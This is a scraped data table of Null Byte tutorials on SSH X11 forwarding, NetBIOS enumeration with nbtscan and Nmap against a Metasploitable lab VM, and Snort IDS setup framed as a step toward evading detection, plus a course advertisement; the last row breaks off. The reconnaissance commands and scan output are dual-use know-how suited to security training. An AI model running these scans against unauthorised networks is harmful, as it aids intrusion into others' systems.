title
stringlengths 30
147
| content
stringlengths 17
61.4k
|
---|---|
How to Run Your Favorite Graphical X Applications Over SSH « Null Byte :: WonderHowTo | While SSH is a powerful tool for controlling a computer remotely, not all applications can be run over the command line. Some apps (like Firefox) and hacking tools (like Airgeddon) require opening multiple X windows to function, which can be accomplished by taking advantage of built-in graphical X forwarding for SSH.SSH, or the secure shell, is the de-facto way or accessing a computer remotely, allowing anyone to log in and administer a computer over a local or remote network. Many useful apps can be controlled this way, but those requiring an interactive window aren't able to open when summoned over SSH. To make this happen, we'll need to forward the data from the remote computer to a server running on our local machine, which will display the remote application in a window on our local screen.Don't Miss:Set Up an SSH Server with Tor to Hide It from Shodan & HackersWhat Can't You Do Without x11 ForwardingMost hackers are familiar with the basic use of SSH for everything from accessing your Linux system remotely to transferring files over a network. For command-line applications, SSH can give you complete control without any modifications, running programs likeBesside-ng,Bettercap, andKismetwithout any issues.The limitations of SSH become clear as soon as we try to do something like runAirgeddon, which requires multiple windows to open and execute programs to feed data back to the main program. Without launching these programs in additional graphical windows, Airgeddon won't work, making it seemingly useless for a hacker with only a remote SSH connection.Trusted vs. Untrusted Graphical X ForwardingIf you want to run something more complicated than a command-line program, SSH has us covered by offering x11 forwarding. This means that, provided that there is a graphical X window running on the remote computer, we can forward the data from the application running on the remote machine to make it look like it's running on the local device instead.There are two kinds of graphical X forwarding, trusted and untrusted. In trusted X forwarding, we ensure that the application we're running doesn't crash by disabling certain security checks designed to crash the connection if the app violates specific security policies. In an untrusted connection, we have greater security when connecting to an untrusted computer network, but also have a higher likelihood of the application crashing.Don't Miss:Locate & Exploit Devices Vulnerable to the Libssh Security FlawBecause graphical X forwarding is enabled by default on most Linux systems, running applications over SSH is a lot easier to do than setting up a VNC server from scratch. This makes it a useful skill for any hacker wanting to do anything from injecting websites into a target's web history to running tools that require opening multiple windows to function.What You'll NeedTo follow this guide, you'll need to have two computers connected to the same network. Both will need to have SSH installed and running.On your remote computer, you'll need to have an SSH server enabled and running. If you have Linux, no modifications should be required, but on macOS or Windows, we'll need to change things in a later step.On your local machine, Linux should come with a graphical X window preinstalled, but you'll need to install one for this to work on Windows of macOS. If your local machine is a MacBook or another macOS device, you candownload and install XQuartzto run a graphical X window server. If you're running Windows, you can useXmingto do the same thing.Don't Miss:Brute-Force Nearly Any Website Login with HatchStep 1: Enable Graphical X ForwardingThe first step will be to enable graphical X forwarding on the server that is running on the computer you want to access remotely. This will differ slightly depending on the operating system this system is using.On MacOS & LinuxIf the remote computer is running Linux, then x11 forwarding is enabled by default, and you don't need to do anything. If the remote computer you're logging in to is running macOS, you will need to edit your sshd_config file.~$ nano /etc/ssh/sshd_configIf sshd_config includes#X11Forwarding no(or justX11Forwarding no), change it toX11Forwarding yesinstead, and you can see below.# $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
...
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
#X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
#PrintMotd yes
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
# pass locale information
AcceptEnv LANG LC_*
# no default banner path
#Banner none
# override default of no subsystems
Subsystem sftp /usr/libexec/sftp-server
# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding yee
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs serverPressCtrl-Xand thenYto save the changes to this file in Nano. You should now have x11 forwarding enabled on the computer.On WindowsIf you're using Windows, you'll need to make some changes to PuTTY. The program is the easiest way to get started working with SSH on Windows, and it'sfree to download from the official website.You can enable X11 forwarding on PuTTY by selecting "Enable X11 forwarding" in the "PuTTY Configuration" menu under the "Connection" tab, located under the "SSH" options. Once this option is enabled, you should be able to forward graphical X sessions to remote devices from your Windows machine.Step 2: Start a Trusted Graphical X SessionTo get started, let's start a "trusted" graphical X session. Because untrusted sessions can crash fairly easily, this is the default option that is enabled on Ubuntu, as of this writing.The difference between a trusted and untrusted session is essential when looking at security. In a trusted session, we potentially give the remote computer the ability to screenshot, keylog, and inject input into any of the windows of other programs.In our first example, we'll use the default trusted connection to launch a Firefox window. First, let's take a look at the command we need to launch any graphical application over SSH.~$ ssh -Y username@LOCAL_IP_ADDRESSIf we are logging into a remote computer with a username of "root" at 192.168.0.3, our command to launch Firefox would then be as follows.~$ ssh -Y root@192.168.0.3 firefoxIf we've started our graphical X window server (such as XQuartz), we should see a Firefox window open on our local machine.We should be able to do this with any graphical application on the system.Don't Miss:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterStep 3: Start an Untrusted Graphical X SessionBy default, Linux systems like Ubuntu are configured to minimize applications being forwarded over x11 crashing by treating them as trusted by default. This isn't always desired, because you may not actually trust a computer you are connecting to remotely.The command for treating a remote system while forwarding a graphical X window is the-Xoption, but this won't do anything differently until we access the ssh_config file and modify it to disable trusting remote x11 connections by default. To do this, we can open up our ssh_config file with Nano again to modify the line that saysForwardX11Trustedto look like below.ForwardX11Trusted noNow, we can run Firefox again as an untrusted app with the following command.~$ ssh -X root@192.168.0.3 firefoxWhile this application may be more prone to crashing, it will also do so rather than cause security problems on your computer, which may be desirable depending on the situation.It's Easy to Use Graphical X Applications Over SSHWhile using SSH to access a remote computer can come with some restrictions, there are a lot of ways to get around them. Graphical X forwarding is one incredibly useful way of doing to run programs that aren't possible to run otherwise and prevent the need for installing VNC or other more complicated protocols. With graphical X forwarding, nearly any application can be run remotely from anywhere.I hope you enjoyed this guide to opening graphical X applications over SSH! If you have any questions about this tutorial on SSH or you have a comment, ask below or feel free to reach me on Twitter@KodyKinzie.Don't Miss:How to Hide MacOS Payloads Inside Photo MetadataWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Kody/Null ByteRelatedRasberry Pi:Connecting on ComputerHow To:Spy on SSH Sessions with SSHPry2.0How To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Enable the New Native SSH Client on Windows 10How To:SSH into an iPod Touch 2G for Windows (3.0 firmware)How To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersSPLOIT:How to Make an SSH Brute-Forcer in PythonHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Create a Native SSH Server on Your Windows 10 SystemHow To:Connect to an iPhone or iPod Touch from a PC via SSHHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Haunt a Computer with SSHHow To:Top 10 Things to Do After Installing Kali LinuxHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:SSH file share on your Apple iPhone or iPod TouchHow To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Hack Metasploitable 2 Part 1How To:Replicate the Moto X's "Active Listening" Hands-Free Assistant on Your Samsung Galaxy S3How To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:Use voice-overs in your video projectHow To:Punchabunch Just Made SSH Local Forwarding Stupid EasyHow To:SSH into your iPhone or iPod Touch using MacHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Code Your Own Twitter Client in Python Using OAuthNews:ZOMBIES, RUN! A running game & audio adventureHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiNews:Richard Stallman's RiderButler:The Ultimate Time Saving App for MacHow To:10+ Time Saving Menu Bar Applications for MacNews:Flaw in the Latest Linux Graphical Server Allows Passwordless LoginsHow To:Activate the Little-Known Paper Tape Feature on Mac OS X's Calculator App |
How to Enumerate NetBIOS Shares with NBTScan & Nmap Scripting Engine « Null Byte :: WonderHowTo | NetBIOS is a service that allows for communication over a network and is often used to join a domain and legacy applications. It is an older technology but still used in some environments today. Since it is an unsecured protocol, it can often be a good starting point when attacking a network. Scanning for NetBIOS shares with NBTScan and theNmap Scripting Engineis a good way to begin.To run through this technique, we'll be usingMetasploitable 2, an intentionally vulnerable virtual machine, as our target machine. We will be attacking it withKali Linux, the go-to distro for hackers and pentesters alike.Overview of NetBIOSNetBIOS, which stands for network basic input/output system, is a service that allows computers to communicate over anetwork. However, NetBIOS is not a networking protocol, it is anAPI. It runs over TCP/IP via the NBT protocol, allowing it to function on modern networks.NetBIOS provides two primary communication methods. The datagram service allows for connectionless communication over a network, ideal for situations where fast transmission is preferred, such as error generation. The session service, on the other hand, allows two computers to establish a connection for reliable communication. NetBIOS also provides name services which allow forname resolutionand registration over the network.Related Reading:'Network Protocols Handbook' by Javvin PressThe primary way attackers exploit NetBIOS is throughpoisoning attacks, which occur when the attacker is on the network and spoofs another machine in order to control and misdirect traffic. An attacker can also obtain thehashed credentialsof a user at this point to crack later on.Scanning with NBTScanNBTScan is acommand linetool used for scanning networks to obtain NetBIOS shares and name information. It can run on both Unix and Windows and ships with Kali Linux by default.The first thing we can do is print the help, which will give us all the usage options and some examples for scanning networks. Simply typenbtscanat the prompt.nbtscanNBTscan version 1.5.1. Copyright (C) 1999-2003 Alla Bezroutchko.
This is a free software and it comes with absolutely no warranty.
You can use, distribute and modify it under terms of GNU GPL.
Usage:
nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename)|(<scan_range>)
-v verbose output. Print all names received
from each host
-d dump packets. Print whole packet contents.
-e Format output in /etc/hosts format.
-l Format output in lmhosts format.
Cannot be used with -v, -s or -h options.
-t timeout wait timeout milliseconds for response.
Default 1000.
-b bandwidth Output throttling. Slow down output
so that it uses no more that bandwidth bps.
Useful on slow links, so that ougoing queries
don't get dropped.
-r use local port 137 for scans. Win95 boxes
respond to this only.
You need to be root to use this option on Unix.
-q Suppress banners and error messages,
-s separator Script-friendly output. Don't print
column and record headers, separate fields with separator.
-h Print human-readable names for services.
Can only be used with -v option.
-m retransmits Number of retransmits. Default 0.
-f filename Take IP addresses to scan from file filename.
-f - makes nbtscan take IP addresses from stdin.
<scan_range> what to scan. Can either be single IP
like 192.168.1.1 or
range of addresses in one of two forms:
xxx.xxx.xxx.xxx/xx or xxx.xxx.xxx.xxx-xxx.
Examples:
nbtscan -r 192.168.1.0/24
Scans the whole C-class network.
nbtscan 192.168.1.25-137
Scans a range from 192.168.1.25 to 192.168.1.137
nbtscan -v -s : 192.168.1.0/24
Scans C-class network. Prints results in script-friendly
format using colon as field separator.
Produces output like that:
192.168.0.1:NT_SERVER:00U
192.168.0.1:MY_DOMAIN:00G
192.168.0.1:ADMINISTRATOR:03U
192.168.0.2:OTHER_BOX:00U
...
nbtscan -f iplist
Scans IP addresses specified in file iplist.The most basic way to run this tool is to give it a range of IP addresses. In this case, there is only one machine on the network so I will give its IP address as an example.nbtscan 172.16.1.102Doing NBT name scan for addresses from 172.16.1.102
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
172.16.1.102 METASPLOITABLE <server> METASPLOITABLE 00:00:00:00:00:00Here, we can see the IP address, the NetBIOS display name, the server if applicable, the user, and theMAC addressof the target. Please note that machines runningSambawill sometimes return all zeros as the MAC address in response to the query.We can get a little more information by setting verbose output with the-vflag.nbtscan 172.16.1.102 -vDoing NBT name scan for addresses from 172.16.1.102
NetBIOS Name Table for Host 172.16.1.102:
Incomplete packet, 335 bytes long.
Name Service Type
----------------------------------------
METASPLOITABLE <00> UNIQUE
METASPLOITABLE <03> UNIQUE
METASPLOITABLE <20> UNIQUE
METASPLOITABLE <00> UNIQUE
METASPLOITABLE <03> UNIQUE
METASPLOITABLE <20> UNIQUE
__MSBROWSE__ <01> GROUP
WORKGROUP <00> GROUP
WORKGROUP <1d> UNIQUE
WORKGROUP <1e> GROUP
WORKGROUP <00> GROUP
WORKGROUP <1d> UNIQUE
WORKGROUP <1e> GROUP
Adapter address: 00:00:00:00:00:00
----------------------------------------We can see some services and their types. This is sort of jumbled, which brings us to the next option, which will print the services in human-readable form. Use the-hflag along with the-voption.nbtscan 172.16.1.102 -vhDoing NBT name scan for addresses from 172.16.1.102
NetBIOS Name Table for Host 172.16.1.102:
Incomplete packet, 335 bytes long.
Name Service Type
----------------------------------------
METASPLOITABLE Workstation Service
METASPLOITABLE Messenger Service
METASPLOITABLE File Server Service
METASPLOITABLE Workstation Service
METASPLOITABLE Messenger Service
METASPLOITABLE File Server Service
__MSBROWSE__ Master Browser
WORKGROUP Domain Name
WORKGROUP Master Browser
WORKGROUP Browser Service Elections
WORKGROUP Domain Name
WORKGROUP Master Browser
WORKGROUP Browser Service Elections
Adapter address: 00:00:00:00:00:00
----------------------------------------Now we can see a bit more information that might prove to be useful. We can also set the-dflag to dump the contents of the entire packet.nbtscan 172.16.1.102 -dDoing NBT name scan for addresses from 172.16.1.102
Packet dump for Host 172.16.1.102:
Incomplete packet, 335 bytes long.
Transaction ID: 0x00a0 (160)
Flags: 0x8400 (33792)
Question count: 0x0000 (0)
Answer count: 0x0001 (1)
Name service count: 0x0000 (0)
Additional record count: 0x0000 (0)
Question name: CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Question type: 0x0021 (33)
Question class: 0x0001 (1)
Time to live: 0x00000000 (0)
Rdata length: 0x0119 (281)
Number of names: 0x0d (13)
Names received:
METASPLOITABLE Service: 0x00 Flags: 0x0004
METASPLOITABLE Service: 0x03 Flags: 0x0004
METASPLOITABLE Service: 0x20 Flags: 0x0004
METASPLOITABLE Service: 0x00 Flags: 0x0004
METASPLOITABLE Service: 0x03 Flags: 0x0004
METASPLOITABLE Service: 0x20 Flags: 0x0004
__MSBROWSE__ Service: 0x01 Flags: 0x0084
WORKGROUP Service: 0x00 Flags: 0x0084
WORKGROUP Service: 0x1d Flags: 0x0004
WORKGROUP Service: 0x1e Flags: 0x0084
WORKGROUP Service: 0x00 Flags: 0x0084
WORKGROUP Service: 0x1d Flags: 0x0004
WORKGROUP Service: 0x1e Flags: 0x0084
...This provides packet data used in the query. Note that this cannot be used with the-vor-hoptions.If you have a list of IP addresses you wish to scan stored in a file, the-fflag can be used to specify the input file to read from. Again, in this case, there is only one machine on the network so only that one shows up during our scan.nbtscan -f addresses.txtDoing NBT name scan for addresses from addresses.txt
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
172.16.1.102 METASPLOITABLE <server> METASPLOITABLE 00:00:00:00:00:00Conversely, if we wanted to store the output of any scan, simply append the name of the file we want to write to.nbtscan 172.16.1.102 > scan.txtScanning with Nmap Scripting EngineNmapcontains a handy little script as part of theNmap Scripting Enginethat we can also use to discover NetBIOS shares. This has the advantage that it can be ran with other NSE scripts, ultimately saving time when enumerating many different things on a network.We will run Nmap in the usual way, and thenbstatscript will complete at the end. Here, I am using the-sVoption to probe ports for running services and their version, along with the-vflag for verbose output. Specify the script to use and we are good to go.nmap -sV 172.16.1.102 --script nbstat.nse -vStarting Nmap 7.70 ( https://nmap.org ) at 2019-02-14 14:12 CST
NSE: Loaded 44 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:12
Completed NSE at 14:12, 0.00s elapsed
Initiating NSE at 14:12
Completed NSE at 14:12, 0.00s elapsed
Initiating ARP Ping Scan at 14:12
Scanning 172.16.1.102 [1 port]
Completed ARP Ping Scan at 14:12, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:12
Completed Parallel DNS resolution of 1 host. at 14:12, 13.00s elapsed
Initiating SYN Stealth Scan at 14:12
Scanning 172.16.1.102 [1000 ports]
...
Host script results:
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| METASPLOITABLE<00> Flags: <unique><active>
| METASPLOITABLE<03> Flags: <unique><active>
| METASPLOITABLE<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>Nmap starts and runs the usual scanning, and then near the end, we can finally see the host script results. This appears similar to one of the scans we ran earlier, but it never hurts to be knowledgeable of different ways to accomplish the same task.How to Prevent NetBIOS EnumerationFortunately for all the administrators out there, there is a pretty easy solution to protect against unauthorized scanning of NetBIOS shares, and that is to simply disable NetBIOS. There are some scenarios where disabling this could break things, such as when certain legacy applications completely depend on it, but more often than not there will be better solutions available and it will be fine to disable it.If you absolutely need to have NetBIOS enabled, be aware of common default naming conventions. On certain versions of WindowsC$orADMIN$are common names and should be avoided if possible. The good news for all you hackers out there is you can be aware and look for these.Wrapping UpIn this tutorial, we learned about the NetBIOS service and how it could be leveraged into an attack. We performed scanning to enumerate open shares with NBTScan, a simple command line tool, and then learned how to use an Nmap script to do the same. NetBIOS may be an older technology, but it is still found in corporate environments today. It can often be a good jumping off point afterrecon, so it's good to know how to identify it.More Information on NetBIOS:'Inside NetBIOS' by J. Scott HaugdahlFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byBrett Sayles/PexelsRelatedHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Enumerate SMB with Enum4linux & SmbclientHow To:Get Started Writing Your Own NSE Scripts for NmapAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Easily Detect CVEs with Nmap ScriptsHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersHack Like a Pro:Scripting for the Aspiring Hacker, Part 2 (Conditional Statements)Hack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHow To:Identify Web Application Firewalls with Wafw00f & NmapHow To:Quickly Look Up the Valid Subdomains for Any WebsiteHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Tactical Nmap for Beginner Network ReconnaissanceHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Hack a NETBIOS IPC$ shareHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Dissecting Nmap:Part 1How To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Find & Exploit SUID Binaries with SUID3NUMHow To:Use LinEnum to Identify Potential Privilege Escalation VectorsHack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapWeekend Homework:How to Become a Null Byte ContributorHow To:Bash (Shell) Scripting for BeginnersNews:Null Byte Is Calling for Contributors!How To:Use the Nmap security toolCryEngine 3:Now Everyone Can Make a Game As Good As Crysis 2… For FreeHow To:Cheat Engine for FarmVille - The Definitive Guide |
Expand Your Coding Skill Set with This 10-Course Training Bundle « Null Byte :: WonderHowTo | Whether you're looking to add a substantial coding foundation to your hacking skill set or want to get a job in programming and development, knowing one or two programming languages just isn't going to cut it.If you're a regular Null Byte reader, you know that a lot of the hacks we show off rely upon a substratum of coding know-how. By understanding the fundamentals of JavaScript, you couldbuild cookie stealersordefeat XSS filters. WithPython, you can put together abrute-force tool for hashesor eventake control of IoT devices. And Ruby can let youhack a MacBookwith just one command.While mastering different programming languages will help you with your white hat hackery and penetration testing abilities, doing so will also help you land a job in the increasingly competitive and fast-paced worlds of programming and development. It's simply no longer possible to earn high salaries and land exciting positions if you know only one or two programming languages.With a plethora of powerful languages and platforms being used regularly by companies ranging from small startups to massive international conglomerates, programmers need to have a wide range of diverse coding tools in their programming toolkit. As a hacker, it's step one to being able to find vulnerabilities, execute phishing campaigns successfully, and perform in-depth data analysis against those businesses, to name just a few things.Continuing education is the only way to stay ahead of the curve.With ten courses and over 1,400 lessons, the best-selling2020 Premium Learn to Code Certification Bundlewill outfit you with a thorough understanding of some of the world's most in-demand and versatile programming languages and tools, and it's currently available for over 95% off at $39.Regardless of whether you're trying to get your programming or hacking career off the ground or you're a seasoned pro who's looking to expand your skill set, this extensive training package will teach you how to work with HTML,JavaScript, Ruby,Python, R, and much more — through over 120 hours of instruction that utilizes on real-world examples and hands-on projects.If you're a current or aspiring full-stack developer, start with the Complete Full-Stack JavaScript Course, which walks you through how to code a variety of projects using go-to platforms like ReactJS, LoopbackJS, Redux, and Material-UI.There's a comprehensive web developer course that shows you how to implement HTML5 and CSS3 into your builds, an app-development course that teaches you how to build responsive apps by creating pro-level user interfaces and interactive widgets, a Django course that will help you develop and maintain large-scale data-driven websites, and much more.You'll also have access to extensive instruction that revolves around the interconnected worlds of Python development and data mining — with courses that focus on building time-saving algorithms, extracting essential data from massive sets, and maximizing the flow of information across servers and public networks.Kickstart or further a lucrative career in coding, development, or hacking with the 2020 Premium Learn to Code Certification Bundle. Usually priced at over $2,000, this extensive training package is available forjust $39— over 95% off MSRP today.Prices are subject to change.Don't Miss Out:2020 Premium Learn to Code Certification Bundle for $39Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bydolgachov/123RFRelatedHow To:Expand Your Coding Skill Set by Learning How to Build Games in UnityDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Become an In-Demand Web Developer with This $29 TrainingHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:This Extensive Python Training Is Under $40 TodayHow To:Hack Your Business Skills with These Excel CoursesHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:Become a Big Data Expert with This 10-Course BundleHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Learn to Code Your Own Games with This Hands-on BundleHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Learn How to Speculate & Make Money as a Day Trader While You're Stuck at HomeDeal Alert:Learn the Basics of C++, Node.js, Adobe Mixamo & Unity for the Price of a ChromecastHow To:Master Python, Linux & More with This Training BundleHow To:Learn to Draw Like a Pro for Under $40How To:Learn the Essentials of Accounting to Boost Profit Margins in Your Small BusinessHow To:Prep for a Lucrative Project Management Career with These CoursesHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Gain Experience Coding for a Price You DecideHow To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingHow To:Learn Coding in Just One Hour a Day with This Top-Rated CourseHow To:Learn the Most Used Coding Languages for $30How To:Start Managing Your Money & Investments Like a Pro with This Affordable Course BundleHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Become an In-Demand IT Pro with This Cisco TrainingHow To:Start 2021 with a New Coding Career with This Ultimate Set of Web Developer CoursesHow To:This Course Bundle Will Teach You How to Start & Grow a BusinessHow To:Master Python, Django, Git & GitHub with This BundleHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Master Linux, Python & Math with This $40 BundleHow To:Leap into Cybersecurity with This Ethical Hacking BundleHow To:Create the Next Big Video Game by Learning Unity 2D with This Course Bundle, Now 98% OffNews:You Can Master Adobe's Hottest Tools from Home for Only $34 |
Hack Like a Pro: How to Evade a Network Intrusion Detection System (NIDS) Using Snort « Null Byte :: WonderHowTo | Welcome back, my fledgling hackers!Nearly every commercial enterprise worth hacking has an intrusion detection system (IDS). These network intrusion detection systems are designed to detect any malicious activity on the network. That means you!As the name implies, a network intrusion detection system (NIDS) is intended to alert the system administrator of network-based intrusions. As a hacker, the better we understand how these NIDS work, the better we can evade them and stealthily enter and exit a network without detection. In an attempt to train you to evade these systems, I am beginning new series on how NIDS work.Introducing Snort: Our NIDS of ChoiceSnortis an open-source NIDS that is the most widely used NIDS in the world. Some estimate its market share at over 60%. It's used by such large organizations as Verizon, AT&T, the U.S. State Department, most U.S. military bases, and millions of medium to large businesses around the globe. Last month (July 2013), Cisco announced that they would be acquiring the parent company of Snort, Sourcefire Inc. of Columbia, MD. This insures that Snort will remain the dominant NIDS on the planet for some time to come, making it increasingly important that we understand Snort—so we can evade it.Image viawordpress.comFortunately, Snort is built into ourBackTrack, so we don't need to install it. If you do need to download it, you can find ithere.Step 1: Fire Up SnortSnort is basically a network traffic sniffer that can apply rules to the traffic it sees to determine whether it contains malicious traffic. We can start Snort in sniffer mode by opening any terminal in BackTrack and typing:snort -vdeAfter we hit enter, we begin to see packets going past the screen in rapid succession. Snort is simply sniffing packets from the wire and displaying them to us.To stop Snort, hit theControl C. When we stop Snort, it displays our statistics on the packet capture.Step 2: Intrusion Detection ModeTo get Snort to operate in Intrusion Detection (IDS) mode, we need to get Snort to use its configuration file. Nearly all applications inLinuxare controlled by a configuration file that is a simple text file. This same applies to Snort. Snort's configuration file is namedsnort.confand is usually found at/etc/snort/snort.conf. So, to get Snort to use its configuration file, we need to start it with:snort -vde -c /etc/snort/snort.confWhere-csays use the configuration file, and/etc/snort/snort.confis the location of the configuration file.When Snort starts in IDS mode, we begin to see a screen similar to that below. Eventually, the screen will stop scrolling and Snort will begin to watch your network traffic.Now Snort is sniffing our wire and will alert when something malicious appears!Step 3: Configuring SnortSnort comes with a default configuration file that, for the most part, will work with little editing. The configuration has plenty of comments to explain what each line and section does, so you can figure it out with little outside assistance.Their are at least 3 areas, though, that need some attention and configuring...The EXTERNAL_NET variableThe HOME_NET variableThe path to the Snort rulesWithout the Snort rules, Snort is just a sniffer/packet logger, far from the powerful IDS it can be. That being said, let's get inside that Snort configuration file and make the minimum changes to get Snort to run as an effective IDS.Let's open the snort configuration file withKWrite.kwrite /etc/snort/snort.confAs you can see in the screenshot above, the configuration file is comprised of six (6) sections.Set the variables on your networkConfigure dynamic loaded librariesConfigure preprocessorsConfigure output pluginsAdd any runtime config directivesCustomize your rule setWe need to first set the variables for our internal and external network. These are defined by the lines:var HOME_NETvar EXTERNAL_NETWe can define ourHOME_NETas the IP address or subnet we're trying to protect. You see in the screenshot that it's set as "any." This will work, but it's not optimal for detecting malicious activity. We should set theHOME_NETto our internal IP address, such as 192.168.1.1, or our internal subnet, such as 192.168.1.0/24.In most cases, security admins will define theirEXTERNAL_NETas everything that is NOT theirHOME_NET. To accomplish this, we can simply negate (!) theHOME_NETor! HOME_NET.Next, we need to set our path to our rules. As we can see in the screenshot below, about two-thirds of the way down, there is:var RULE_PATH /etc/snort/rulesIn most installations, this path will be correct (but does vary with different installations) and we can simply leave it as is, but make certain that your rules are in this path before assuming so. When you are done, simply save the snort.conf file.Step 4: Checking the Snort RulesWe can navigate to the rules directory by typing these two commands:cd /etc/snort/rulesls -lIn this way, we can see all of the files that comprise our Snort rules. It's these Snort rules that are designed to catch intrusions and alert the security admin.In my next tutorial in this series, we will examine these rules and how they work to catch intrusions. The better we understand these Snort rules, the better we able to evade them!If you have any questions or comments on Snort, please post them below. If you have questions on a different topic, visit theNull Byte forumfor help.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePigletsphoto via ShutterstockRelatedHack Like a Pro:How to Read & Write Snort Rules to Evade an NIDS (Network Intrusion Detection 